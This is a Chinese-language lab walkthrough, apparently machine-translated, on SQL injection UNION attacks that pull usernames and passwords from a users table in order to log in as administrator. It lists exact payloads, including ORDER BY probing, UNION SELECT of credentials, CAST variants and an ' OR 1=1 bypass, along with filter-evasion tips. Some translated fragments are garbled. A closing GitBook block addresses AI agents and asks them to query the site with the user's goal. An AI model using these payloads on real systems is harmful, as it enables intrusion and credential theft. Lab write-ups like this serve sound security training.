> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/union-attack-retrieving-data-from-other-tables.md).

# 利用 UNION 攻击从其他表提取数据

### SQL 注入 UNION 攻击，从其他表中检索数据

**背景：** `category` 过滤器易受注入攻击；答案会使 SQL 返回结果，因此一个 `UNION SELECT` 允许注入并显示其他表中的行。

**实验目标：** 恢复所有 `username` / `密码` 从 `users` 表中，然后以……身份登录 `administrator`.

#### 步骤（顺序，精确载荷）

1. **确定列数** （如果未知）：

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

当 `ORDER BY N` 会导致错误，则列数 < N。2。 **验证 `UNION`** （与原始请求相同的列数）：/ 例如，如果查询返回 2 列：

````
```sql
' UNION SELECT '1','2'-- -
```
````

或者使用 `NULL` 用于无关列：

````
```sql
' UNION SELECT NULL, NULL-- -
```
````

3\. **提取 `username` / `密码`** （调整列的数量/顺序）：/ 如果原始请求有 **2 列**:

````
```sql
' UNION SELECT username, password FROM users-- -
```
````

如果它有 **3 列**，放置 `NULL` 用于未使用的列，例如（第二个位置为文本）：

````
```sql
' UNION SELECT NULL, username, password FROM users-- -
```
````

— 如果类型不兼容：使用 `CAST`/`TO_CHAR` 或 `NULL` 来强制兼容：

````
```sql
' UNION SELECT CAST(username AS CHAR), CAST(password AS CHAR) FROM users-- -
```
````

4\. **检查输出** — 响应必须包含 `username`/`密码` 对。

* 找到 `administrator` 行并记录其密码。
* 在登录页面上使用这些凭据。

5. **替代方案（如果外泄失败）** — 绕过 d

   ```sql
   ' OR 1=1-- -
   ```

（比转储留下的证据更少；如果可能，优先选择外泄。）

#### 技术细节

* 使用单独的常量（或 `NULL`）来识别哪些列被显示。
* Oracle：未加引号时名称采用大写；可能需要 `TO_CHAR`.
* MSSQL/MySQL/Postgres： `CAST`/`CONVERT`/`::text` 如果类型不同。
* 如果 `UNION` 被阻止时，测试空格/注释或函数的变化以重建链条（`CONCAT`, `CHR`/`CHAR`).

#### 总结影响

* 凭据（管理员）、应用程序控制、数据外泄/篡改。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/union-attack-retrieving-data-from-other-tables.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
